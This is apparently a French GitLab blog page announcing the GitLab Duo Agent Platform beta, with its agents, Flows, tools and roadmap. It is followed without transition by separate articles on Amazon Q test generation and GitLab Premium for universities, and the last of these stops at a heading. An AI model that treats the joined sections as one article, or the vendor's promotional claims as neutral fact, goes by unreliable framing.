<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101998114?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Deep Research Demo_071625_MP_v1"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

Notre évolution stratégique des fonctionnalités d'IA vers l'orchestration d'agents

GitLab Duo a été lancé comme un module d’extension, apportant l'IA générative aux équipes de développement via GitLab Duo Pro et GitLab Duo Enterprise. Avec GitLab 18.0, GitLab Duo est désormais intégré à la plateforme. Nous avons débloqué GitLab Duo Agentic Chat et les suggestions de code pour tous les utilisateurs de GitLab Premium et Ultimate, et nous fournissons un accès immédiat à GitLab Duo Agent Platform.

Nous avons augmenté l'investissement en ingénierie et accélérons la livraison, avec de nouvelles fonctionnalités d’IA déployées chaque mois. Mais nous ne construisons pas juste un autre assistant de codage. GitLab Duo devient une plateforme d'orchestration d'agents, où vous pouvez créer, personnaliser et déployer des agents d’IA qui travaillent à vos côtés et interagissent facilement avec d'autres systèmes, augmentant ainsi votre productivité.

« GitLab Duo Agent Platform améliore notre workflow de développement avec une IA qui comprend vraiment notre code source et notre organisation. Avoir des agents d’IA intégrés dans notre système d'enregistrement pour le code, les tests, le CI/CD et l'ensemble du cycle de vie du développement logiciel booste la productivité, la vélocité et l'efficacité. Les agents sont devenus de vrais collaborateurs pour nos équipes, et leur capacité à comprendre l'intention, à décomposer les problèmes et à agir permet à nos équipes de se concentrer sur des tâches innovantes et stimulantes. » - Bal Kang, Engineering Platform Lead chez NatWest

Des agents qui fonctionnent immédiatement

Nous introduisons des agents qui reflètent des rôles d'équipe familiers. Ces agents peuvent rechercher, lire, créer et modifier des artefacts existants dans GitLab. Considérez-les comme des agents avec lesquels vous pouvez interagir individuellement, et qui agissent également comme des blocs de construction que vous pouvez personnaliser pour créer vos propres agents. Comme les membres de votre équipe, les agents ont des spécialisations définies, telles que le développement logiciel, les tests ou la rédaction technique. En tant que spécialistes, ils exploitent les bons contextes et outils pour accomplir de manière cohérente les mêmes types de tâches, où qu'ils soient déployés.

Voici quelques-uns des agents que nous construisons aujourd'hui :

• Chat Agent (maintenant en version bêta) : il prend des requêtes en langage naturel pour fournir des informations et du contexte à l'utilisateur. Il peut effectuer des tâches de développement générales, comme la lecture de tickets ou de différences de code. Par exemple, vous pouvez demander à Chat de déboguer un job qui a échoué en fournissant son URL.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101953504?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="agentic-chat-in-web-ui-demo_Update V1"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

• Software Developer Agent (maintenant en version bêta) : il travaille sur des éléments assignés en créant des modifications de code dans des environnements de développement virtuels et en ouvrant des merge requests pour révision.

• Product Planning Agent : il priorise les backlogs produit, assigne des éléments de travail aux membres humains et agentiques et l'équipe, et fournit des mises à jour de projet en fonction du calendrier.

• Software Test Engineer Agent : il teste les nouvelles contributions de code pour les bogues et valide si les problèmes signalés ont été résolus.

• Code Reviewer Agent : il effectue des revues de code suivant les normes de l'équipe, identifie les problèmes de qualité et de sécurité, et peut fusionner le code quand il est prêt.

• Platform Engineer Agent : il surveille les déploiements GitLab, y compris les GitLab Runners, suit la santé du pipeline CI/CD, et rapporte les problèmes de performance aux équipes d'ingénierie de plateforme humaines.

• Security Analyst Agent : il trouve des vulnérabilités dans le code source et les applications déployées, et implémente des modifications de code et de configuration pour aider à résoudre les faiblesses de sécurité.

• Deployment Engineer Agent : il déploie des mises à jour en production, surveille les comportements inhabituels, et annule les modifications qui impactent les performances ou la sécurité de l'application.

• Deep Research Agent : il mène une analyse complète et multi-sources à travers tout votre écosystème de développement.

Ce qui rend ces agents puissants, c'est leur accès natif à la boîte à outils complète de GitLab. Aujourd'hui, nous avons plus de 25 outils, des tickets et epics aux merge requests et à la documentation, et bien plus à venir. Contrairement aux outils d’IA externes qui fonctionnent avec un contexte limité, nos agents travaillent comme de véritables membres de l'équipe avec des privilèges complets de plateforme sous votre supervision.

Dans les mois à venir, vous pourrez également modifier ces agents pour répondre aux besoins de votre organisation. Par exemple, vous pourrez spécifier qu'un Software Test Engineer Agent suit les meilleures pratiques pour un framework ou une méthodologie particulière, approfondissant sa spécialisation et le transformant en un membre d'équipe encore plus précieux.

Les Flows orchestrent des tâches d'agents complexes

Au-dessus des agents individuels, nous introduisons les Flows d'agents. Considérez-les comme des workflows plus complexes qui peuvent inclure plusieurs agents avec des instructions, étapes et actions pré-construites pour une tâche donnée qui peut s'exécuter de manière autonome.

Bien que vous puissiez créer des Flows pour des tâches de base communes aux individus, ils excellent vraiment lorsqu'ils sont appliqués à des tâches complexes et spécialisées qui prendraient normalement des heures de coordination et d'effort pour être complétées. Les Flows vous aideront à terminer des tâches complexes plus rapidement et, dans de nombreux cas, de manière asynchrone sans intervention humaine.

Les Flows ont des déclencheurs spécifiques pour l'exécution. Chaque Flow contient une série d'étapes, et chaque étape a des instructions détaillées qui indiquent à un agent spécialisé quoi faire. Cette approche granulaire vous permet de donner des instructions précises aux agents dans le Flow. En définissant des instructions avec plus de détails et en établissant des points de décision structurés, les Flows peuvent aider à résoudre la variabilité inhérente aux réponses d'IA tout en éliminant le besoin de spécifier les mêmes exigences, débloquant des résultats plus cohérents et prévisibles sans configuration de la part de l'utilisateur.

Voici quelques exemples de Flows prêts à l'emploi :

Flow de développement logiciel (maintenant en version bêta) : il orchestre plusieurs agents pour planifier, implémenter et tester des modifications de code de bout en bout, aidant à transformer la façon dont les équipes livrent des fonctionnalités, du concept à la production.

Flow Issue-to-MR : il convertit automatiquement les tickets en merge requests exploitables en coordonnant les agents pour analyser les exigences, préparer des plans de mise en œuvre complets et générer du code.

Flow de conversion de fichier CI : il rationalise les workflows de migration en demandant aux agents d'analyser les configurations CI/CD existantes et de les convertir intelligemment au format GitLab CI avec une compatibilité complète du pipeline.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101941425?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="jenkins-to-gitlab-cicd-for-blog"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

Flow de recherche et remplacement : il découvre et transforme des modèles de code à travers le code source en analysant systématiquement les structures de projet, identifiant les opportunités d'optimisation et exécutant des remplacements précis.

Flow de réponse aux incidents et analyse des causes profondes : il orchestre la réponse aux incidents en corrélant les données système, coordonnant des agents spécialisés pour l'analyse des causes profondes et exécutant les étapes de remédiation approuvées tout en gardant les parties prenantes humaines informées tout au long du processus de résolution.

C'est là que GitLab Duo Agent Platform adopte une approche vraiment unique par rapport aux autres solutions d’IA. Nous ne vous donnerons pas seulement des agents pré-construits. Nous vous donnerons également le pouvoir de créer, personnaliser et partager des Flows d'agents qui correspondent parfaitement aux besoins de vos équipes et de votre organisation. Avec les Flows, vous pourrez ensuite donner aux agents un plan d'exécution spécifique pour des tâches communes et complexes.

Nous croyons que cette approche est plus puissante que de construire des agents spécialisés comme le font nos concurrents, car chaque organisation a des workflows différents, des normes de codage, des exigences de sécurité et une logique métier. Les outils d’IA génériques ne peuvent pas comprendre votre contexte spécifique, mais GitLab Duo Agent Platform s’adaptera au fonctionnement de votre équipe.

Pourquoi construire des agents et des Flows d'agents dans GitLab Duo Agent Platform ?

Construire rapidement. Vous pouvez construire des agents et des Flows d'agents complexes dans Duo Agent Platform rapidement et facilement en utilisant un modèle d'extensibilité déclaratif rapide et une assistance UI.

Calcul intégré. Avec Duo Agent Platform, vous n'avez plus à vous soucier des tracas de mise en œuvre de votre propre infrastructure pour les agents : le calcul, le réseau et le stockage sont intégrés.

Événements SDLC. Vos agents peuvent être invoqués automatiquement sur des événements communs : pipeline en échec, déploiement interrompu, problème créé, etc.

Accès instantané. Vous pouvez interagir avec vos agents dans GitLab ou au sein de notre plug-in IDE : assignez-leur des tickets, @mentionnez-les dans les commentaires et discutez avec eux partout où GitLab Duo Chat est disponible.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1102029239?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="assigning an agent an issue"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

Modèles intégrés et personnalisés pris en charge. Vos agents auront un accès automatique à tous les modèles que nous prenons en charge, et les utilisateurs pourront choisir des modèles spécifiques pour des tâches spécifiques. Si vous souhaitez connecter Duo Agent Platform à votre propre modèle auto-hébergé, vous pourrez également le faire.

Points de terminaison MCP. Chaque agent et Flow peut être accessible ou déclenché via des points de terminaison MCP natifs, vous permettant de vous connecter et de collaborer avec vos agents et vos Flows de n'importe où, y compris des outils populaires comme Claude Code, Cursor, Copilot et Windsurf.

Observabilité et sécurité. Enfin, nous fournissons une observabilité intégrée et des tableaux de bord d'utilisation, afin que vous puissiez voir exactement qui, où, quoi et quand les agents ont effectué des actions en votre nom.

Un avenir piloté par la communauté

Les contributions de la communauté ont longtemps alimenté l'innovation et le développement logiciel de GitLab. Nous sommes ravis de nous associer à notre communauté avec l'introduction du Catalogue IA. Le Catalogue IA vous permettra de créer et de partager des agents et des Flows au sein de votre organisation et à travers l'écosystème GitLab dans notre prochaine version bêta.

Nous croyons que les applications d’IA les plus précieuses sont susceptibles d'émerger de notre communauté, grâce à votre usage quotidien de GitLab Duo Agent Platform pour résoudre de nombreux cas d'utilisation du monde réel. En permettant le partage transparent d'agents et de Flows, nous créons un effet de réseau où chaque contribution améliore l'intelligence et la valeur collectives de la plateforme.

Disponible aujourd'hui dans GitLab Duo Agent Platform en bêta publique

La version bêta publique de GitLab Duo Agent Platform est disponible dès maintenant pour les clients Premium et Ultimate avec les fonctionnalités suivantes :

Flow de Développement Logiciel : notre premier Flow orchestre des agents pour rassembler un contexte complet, clarifier les ambiguïtés avec les équipes de développement humaines et exécuter des plans stratégiques pour apporter des modifications précises à votre code source et votre dépôt. Il exploite l'ensemble de votre projet, y compris sa structure, son code source et son historique, ainsi que des contextes supplémentaires comme les tickets GitLab ou les merge requests pour amplifier la productivité des équipes de développement.

Nouveaux outils d'agent disponibles : les agents ont maintenant accès à plusieurs outils pour faire leur travail, notamment :

• Système de fichiers (lire, créer, éditer, trouver des fichiers, lister, Grep)
• Exécuter la ligne de commande*
• Tickets (lister, obtenir, obtenir les commentaires, éditer*, créer*, ajouter/mettre à jour les commentaires*)
• Epics (obtenir, obtenir les commentaires)
• Merge requests (obtenir, obtenir les commentaires, obtenir le diff, créer, mettre à jour)
• Pipeline (job logs, erreurs de pipeline)
• Projet (obtenir, obtenir le fichier)
• Commits (obtenir, lister, obtenir les commentaires, obtenir le diff)
• Recherche (recherche de problèmes)
• Sécurisé (lister les vulnérabilités)
• Recherche de documentation *=Nécessite l'approbation de l'utilisateur

GitLab Duo Agentic Chat dans l'IDE : Duo Agentic Chat transforme l'expérience de chat d'un outil de questions-réponses passif en un partenaire de développement actif directement dans votre IDE.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101953477?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="agentic-ai-launch-video_Updated V1"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• Retour itératif et historique de chat : Duo Agentic Chat prend désormais en charge l'historique de chat et le retour itératif, transformant l'agent en un partenaire conversationnel. Cela favorise la confiance, permettant aux équipes de développement de déléguer des tâches plus complexes et d'offrir des conseils correctifs.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743173?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="agentic-chat-history"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• Délégation rationalisée avec des commandes slash : des commandes slash étendues et plus puissantes, telles que /explain, /tests et /include, créent un « langage de délégation » pour une intention rapide et précise. La commande /include permet l'injection explicite de contexte à partir de fichiers spécifiques, de tickets ouverts, de merge requests ou de dépendances directement dans la mémoire de travail de l'agent, rendant l'agent plus puissant et enseignant aux utilisateurs comment fournir un contexte optimal pour des réponses de qualité.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743187?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="include-agentic-chat-jc-voiceover"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• Personnalisation via des règles personnalisées : les nouvelles règles personnalisées permettent aux équipes de développement d'adapter le comportement de l'agent en fonction de leurs préférences en utilisant le langage naturel, par exemple, des guides de style de développement. Ce mécanisme façonne la personnalité de l'agent en un assistant personnalisé, évoluant vers des agents spécialisés basés sur les préférences définies par l'utilisateur et les politiques organisationnelles.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743179?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="custom-rules-with-jc-voiceover"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• Support pour GitLab Duo Agentic Chat dans JetBrains IDE : Pour aider à rencontrer les développeurs là où ils travaillent, nous avons étendu la prise en charge de Duo Agentic Chat à la famille d'IDE JetBrains, y compris IntelliJ, PyCharm, GoLand et Webstorm. Cela s'ajoute à notre support existant pour VS Code. Les utilisateurs existants obtiennent automatiquement les fonctionnalités agentiques, tandis que les nouveaux utilisateurs peuvent installer le plugin depuis le JetBrains Marketplace.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743193?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="jetbrains-support-jc-voiceover"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• Support client MCP : Duo Agentic Chat peut maintenant agir comme client MCP, se connectant aux serveurs MCP distants et locaux.

Cette fonctionnalité débloque la capacité de l'agent à se connecter à des systèmes au-delà de GitLab comme Jira, ServiceNow et ZenDesk pour rassembler du contexte ou prendre des mesures. Tout service qui s'expose via MCP peut maintenant faire partie de l'ensemble de compétences de l'agent. Le serveur MCP officiel GitLab arrive bientôt !

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743202?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="McpDemo"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• GitLab Duo Agentic Chat dans l'interface Web de GitLab. Duo Agentic Chat est maintenant disponible directement dans l'interface Web de GitLab. Cette étape fait évoluer l'agent d'un assistant de codage à un véritable agent DevSecOps, car il accède à un contexte riche non lié au code, comme les tickets et les discussions intégrées aux merge requests, lui permettant de comprendre le « pourquoi » derrière une tâche. Au-delà de la compréhension du contexte, l'agent peut apporter des modifications directement depuis l'interface Web, comme mettre à jour automatiquement les statuts des tickets ou éditer les descriptions des merge requests.

Bientôt disponible dans GitLab Duo Agent Platform

Au cours des prochaines semaines, nous publierons de nouvelles capacités pour Duo Agent Platform, y compris plus d'agents et de Flows prêts à l'emploi. Celles-ci permettront une personnalisation et une extensibilité encore plus grandes, amplifiant la productivité de nos clients :

• Expérience GitLab intégrée : s'appuyant sur les extensions IDE disponibles dans 18.2, nous étendons les agents et les Flows au sein de la plateforme GitLab. Cette intégration élargira la manière dont vous pouvez collaborer de manière synchrone et asynchrone avec les agents. Vous pourrez assigner des tickets directement aux agents, les @mentionner dans GitLab Duo Chat, et les invoquer de manière transparente depuis n'importe où dans l'application tout en maintenant la connectivité MCP depuis votre outil de développement préféré. Cette intégration native transforme les agents en véritables membres de l'équipe de développement, accessibles dans GitLab.

• Observabilité des agents : alors que les agents deviennent plus autonomes, nous construisons une visibilité complète de leur activité pendant qu'ils progressent dans les Flows, vous permettant de surveiller leurs processus de prise de décision, de suivre les étapes d'exécution et de comprendre comment ils interprètent et agissent sur vos défis liés au développement. Cette transparence dans le comportement des agents renforce la confiance tout en vous permettant d'optimiser les workflows, d'identifier les goulots d'étranglement et aide à garantir que les agents fonctionnent comme prévu.

• Catalogue IA : reconnaissant que les grandes solutions viennent de l'innovation communautaire, nous introduirons bientôt la bêta publique de notre Catalogue IA — une marketplace qui vous permettra d'étendre Duo Agent Platform avec des agents et des Flows spécialisés provenant de GitLab, et au fil du temps, de la communauté. Vous pourrez déployer rapidement ces solutions dans GitLab, en exploitant le contexte à travers vos projets et votre code source.

• Graphe de connaissances : exploitant l'avantage unique de GitLab en tant que système d'enregistrement pour le code source et son contexte environnant, nous construisons un graphe de connaissances complet qui non seulement cartographie les fichiers et les dépendances à travers le code source, mais rend également cette carte navigable pour les utilisateurs tout en accélérant les temps de requête IA et en aidant à augmenter la précision. Cela permet aux agents GitLab Duo de comprendre rapidement les relations à travers tout votre environnement de développement, des dépendances de code aux modèles de déploiement, débloquant des réponses plus rapides et plus précises aux questions complexes.

• Créer et éditer des agents et des Flows : comprenant que chaque organisation a des workflows et des exigences uniques, nous développons de puissantes capacités de création et d'édition d'agents et de Flows qui seront introduites à mesure que le Catalogue IA mûrit. Vous pourrez créer et modifier des agents et des Flows pour qu'ils fonctionnent précisément comme votre organisation, offrant une personnalisation à travers Duo Agent Platform qui permet des résultats de meilleure qualité et une productivité accrue.

• Serveur MCP officiel GitLab : reconnaissant que les développeurs travaillent à travers plusieurs outils et environnements, nous construisons un serveur MCP officiel GitLab qui vous permettra d'accéder à tous vos agents et Flows via MCP. Vous pourrez vous connecter et collaborer avec vos agents et vos Flows quel que soit l'endroit oú le MCP est pris en charge, y compris depuis des outils populaires comme Claude Code, Cursor, Copilot et Windsurf, débloquant une collaboration IA transparente quel que soit votre environnement de développement préféré.

• GitLab Duo Agent Platform CLI : notre interface de ligne de commande à venir vous permettra d'invoquer des agents et de déclencher des Flows en ligne de commande, en exploitant le contexte riche de GitLab à travers l'ensemble du cycle de vie du développement logiciel : des dépôts de code et des merge requests aux pipelines CI/CD et au suivi des tickets.

Testez notre bêta publique dès aujourd'hui !

• Les clients GitLab Premium et Ultimate dans les environnements GitLab.com et GitLab Self-Managed utilisant GitLab 18.2 peuvent utiliser Duo Agent Platform immédiatement (les fonctionnalités bêta et expérimentales pour GitLab Duo doivent être activées).

• Les utilisateurs doivent télécharger l'extension VS Code ou le plugin JetBrains IDEs et suivre notre guide pour utiliser GitLab Duo Agentic Chat, y compris les commandes slash Duo Chat.

Nouveau sur GitLab ? Tout le monde peut rejoindre notre prochaine démo Technique pour découvrir GitLab Duo Agent Platform en action. Pour avoir une expérience pratique avec GitLab Duo Agent Platform, inscrivez-vous pour un essai gratuit aujourd'hui.

<small>Cet article de blog contient des « déclarations prospectives » au sens de la Section 27A du Securities Act de 1933, tel que modifié, et de la Section 21E du Securities Exchange Act de 1934. Bien que nous croyions que les attentes reflétées dans les déclarations prospectives contenues dans cet article de blog sont raisonnables, elles sont soumises à des risques connus et inconnus, des incertitudes, des hypothèses et d'autres facteurs qui peuvent faire que les résultats ou les issues réels soient matériellement différents de tout résultat ou issue futur exprimé ou impliqué par les déclarations prospectives.

Des informations supplémentaires sur les risques, incertitudes et autres facteurs qui pourraient faire que les résultats et les issues réels diffèrent matériellement de ceux inclus ou envisagés par les déclarations prospectives contenues dans cet article de blog sont incluses sous la rubrique « Facteurs de risque » et ailleurs dans les dépôts et rapports que nous faisons auprès de la Securities and Exchange Commission. Nous ne nous engageons pas à mettre à jour ou à réviser toute déclaration prospective ou à signaler tout événement ou circonstance après la date de cet article de blog ou à refléter la survenance d'événements imprévus, sauf si la loi l'exige.</small>

C'est là que GitLab Duo combiné à Amazon Q peut transformer votre processus d’assurance qualité. Cette fonctionnalité alimentée par l'IA peut générer automatiquement des tests unitaires complets pour votre code, accélérant considérablement votre workflow d'assurance qualité. Au lieu de passer des heures à écrire des tests manuellement, vous pouvez laisser l'IA analyser votre code et créer des tests qui garantissent une couverture optimale et une qualité constante au sein de votre application.

Comment fonctionne GitLab Duo combiné à Amazon Q ?

Lorsque vous travaillez sur une nouvelle fonctionnalité, vous commencez par sélectionner la classe Java que vous avez ajoutée à votre projet via une merge request. Il vous suffit de naviguer vers votre merge request et de cliquer sur l'onglet « Modifier » pour voir le nouveau code que vous avez ajouté.

Ensuite, vous invoquez Amazon Q en saisissant une commande d'action rapide. Tout ce que vous devez faire est de renseigner /q test dans la zone de commentaire du ticket. C'est aussi simple que cela : juste une barre oblique, la lettre « q », et le mot « test ».

Une fois que vous avez appuyé sur la touche Entrée, Amazon Q entre en action. Il analyse votre code sélectionné, comprend sa structure, sa logique et son objectif. L'IA examine les méthodes de votre classe, les dépendances, et les cas limites potentiels pour déterminer quels tests sont nécessaires.

En quelques instants, Amazon Q génère une couverture de tests unitaires complète pour votre nouvelle classe. Il crée des tests qui couvrent non seulement le chemin heureux (« happy path »), mais aussi les cas limites et les conditions d'erreur que vous auriez pu négliger. Les tests générés suivent les modèles et conventions existants de votre projet, garantissant qu'ils s'intègrent parfaitement à votre code source.

Pourquoi utiliser GitLab Duo combiné à Amazon Q ?

Vous avez commencé avec le défi suivant : maintenir des applications de haute qualité tout en gérant les contraintes de temps et les pratiques de test incohérentes. GitLab Duo combiné à Amazon Q répond à ce défi en automatisant le processus de génération de tests, garantissant une couverture de code optimale et des normes de test cohérentes. Résultat ? Les problèmes sont détectés avant le déploiement, vos applications maintiennent leur qualité, et vous pouvez développer des logiciels plus rapidement sans sacrifier la fiabilité.

Avantages clés de cette fonctionnalité :

• Une réduction du temps consacré à l'écriture de tests unitaires
• Une couverture de tests complète sur l'ensemble de votre code source
• Une qualité de tests constante pour tous les membres de votre équipe
• Une détection des problèmes avant qu'ils n'atteignent l’environnement de production
• Une accélération de votre vitesse de développement

Vous souhaitez en savoir plus sur cette fonctionnalité ? Découvrez comment GitLab Duo combiné à Amazon Q transforme votre processus d'assurance qualité et consultez notre page partenaire GitLab et AWS pour obtenir des informations détaillées.

<!-- blank line -->

<figure class="video_container"> <iframe src="https://www.youtube.com/embed/pxlYJVcHY28?si=MhIz6lnHxc6kFhlL" frameborder="0" allowfullscreen="true"> </iframe> </figure> <!-- blank line -->

En savoir plus sur GitLab Duo combiné à Amazon Q

• GitLab Duo combiné à Amazon Q : quand le DevSecOps rencontre l’IA agentique
• GitLab Duo combiné à Amazon Q : l'IA agentique optimisée pour AWS disponible à tous les utilisateurs
• GitLab Duo combiné à Amazon Q : créez de nouvelles fonctionnalités en quelques minutes
• GitLab Duo combiné à Amazon Q : optimisez vos revues de code

La plateforme DevSecOps complète alimentée par l'IA de GitLab offre des fonctionnalités qui vont bien au-delà du simple contrôle de version. Basée sur une architecture open source et dotée de fonctionnalités avancées, GitLab Premium permet de prévenir les incidents de sécurité coûteux impliquant des données sensibles d'étudiants, propose des environnements de développement cloud accessibles aux équipes situées à différents emplacements géographiques et offre une assistance professionnelle adaptée aux systèmes critiques des établissements d'enseignement. GitLab Premium inclut à présent le chat et les suggestions de code, des fonctionnalités d'IA clés de GitLab Duo, et ce sans frais supplémentaires.

Les particularités du développement logiciel dans l'enseignement supérieur

Les universités et les établissements d'enseignement supérieur opèrent dans un environnement technique particulièrement complexe. Les équipes de développement doivent faciliter une collaboration multidisciplinaire entre les services techniques et non techniques, tout en gérant de grandes quantités de données sensibles (dossiers des étudiants, informations financières, résultats de recherche, évaluations des professeurs).

La plupart des établissements doivent travailler avec des ressources informatiques limitées et prendre en charge simultanément des milliers d'utilisateurs participant à un grand nombre de projets et d'initiatives de recherche. L'intégrité exigée dans le cadre de la recherche ajoute un niveau supplémentaire de complexité, car le travail de développement doit souvent adhérer à des normes de traçabilité et de reproductibilité.

Les fonctionnalités de GitLab Premium pour l'éducation

GitLab Premium avec GitLab Duo offre les fonctionnalités dont l'enseignement supérieur a besoin.

Amélioration de la collaboration et capacités de workflow

Les projets qui impliquent différents services sont courants dans le secteur universitaire, qu'il s'agisse d'initiatives de recherche interdisciplinaire ou du développement de modules personnalisés pour des systèmes d'ERP. Ces projets complexes nécessitent une gestion sophistiquée des workflows qui ne se limite pas uniquement au simple contrôle de version.

GitLab Premium répond à ces défis en offrant des fonctionnalités de collaboration et de visualisation de projet, notamment des epics, des roadmaps et des tableaux Kanban avancés pour les workflows de développement Agile. En attribuant plusieurs approbateurs à certaines merge requests et branches protégées, vous garantissez une meilleure qualité du code et une plus grande responsabilisation des équipes. Ces outils permettent aux établissements de coordonner les travaux entre les différents services, tout en s'assurant que ces efforts sont alignés sur les objectifs globaux de l'institution. Il s'agit d'une condition essentielle pour gérer efficacement des initiatives technologiques qui se déroulent en plusieurs étapes à l'échelle du campus.

En Australie, l'équipe Digital Enablement de l'Université Deakin utilise GitLab pour créer des processus standardisés et des templates réutilisables (templates de merge request personnalisés, pipelines de compilation basés sur un template, framework de sécurité et de conformité) qu'elle partage avec la communauté universitaire et les développeurs citoyens. Cette approche favorise l'innovation et renforce la collaboration à la fois au sein de l'université et avec ses partenaires stratégiques. « Nous voulions depuis longtemps créer une communauté et l'aider à se développer, mais sans succès, jusqu'à l'adoption de cet outil », confie Aaron Whitehand, Director of Digital Enablement à l'Université Deakin.

Découvrez comment l'Université Deakin utilise GitLab pour renforcer la collaboration et la productivité, notamment grâce à une réduction de 60 % des tâches manuelles.

Protection et gouvernance avancées des données

Les établissements d'enseignement génèrent et gèrent des quantités considérables de données (dossiers des étudiants, informations financières, résultats de recherche, évaluations des professeurs, et bien plus encore). La sécurité de ces informations est un enjeu majeur. La faille de sécurité MOVEit de 2023, qui a duré trois mois et compromis environ 900 établissements d'enseignement, a exposé les informations sensibles de plus de 62 millions de personnes. Cet exemple illustre l'importance cruciale d'intégrer des mesures de sécurité proactives directement dans les workflows de développement dans ce secteur.

Le scanning des vulnérabilités bloque les sorties de nouvelles versions de code qui contiennent des risques de sécurité afin de permettre aux établissements de mettre en place et de faire respecter des protocoles de gouvernance qui protègent ces données sensibles. Cette fonctionnalité aide les universités à mettre en œuvre des contrôles d'accès et des structures d'autorisation adaptés aux bases de données de recherche. Ce framework sécurisé garantit que seuls les chercheurs autorisés disposent des droits d'accès nécessaires et assure une protection stricte sans entraver la collaboration entre les différentes équipes.

La plateforme de GitLab est conçue dès le départ pour garantir la sécurité de votre code source. Les dépôts Git évolutifs, des contrôles d'accès granulaires et des fonctionnalités de conformité intégrées éliminent les goulots d'étranglement dans votre workflow tout en répondant aux exigences de sécurité. GitLab Premium fournit des fonctionnalités de suivi des audits et de conformité essentielles, particulièrement adaptés aux environnements éducatifs. Les pistes d'audit complètes consignent sous forme de logs l'ensemble des modifications apportées au code, les tentatives d'accès et les modifications du système, en incluant les horodatages ainsi que les utilisateurs concernés. La documentation exhaustive sur la gestion des modifications garantit une traçabilité optimale (auteur, date et motif), essentielle pour garantir l'intégrité de la recherche. Quant à l'audit du contrôle d'accès, il permet de surveiller l'accès au dépôt et les changements d'autorisations.

Développement cloud et collaboration à distance

Les établissements d'enseignement modernes requièrent des environnements de développement flexibles, adaptés aux besoins des équipes situées à différents emplacements géographiques, aux scénarios d'apprentissage à distance et aux diverses exigences techniques.

GitLab Premium offre donc les avantages suivants :

• Workspaces GitLab : environnements de développement cloud accessibles depuis n'importe quel appareil
• Intégration au Web IDE : codage basé sur le navigateur avec une intégration complète des fonctionnalités de GitLab
• Développement conteneurisé : environnements de développement cohérents et reproductibles, quelle que soit la nature du projet ou le groupe d'utilisateurs

Ces fonctionnalités sont particulièrement utiles pour prendre en charge les modèles d'apprentissage à distance et hybrides. Elles permettent aux étudiants et aux chercheurs d'accéder à des environnements de développement standardisés, indépendamment de leur emplacement physique ou des contraintes matérielles locales.

Assistance professionnelle pour les systèmes critiques

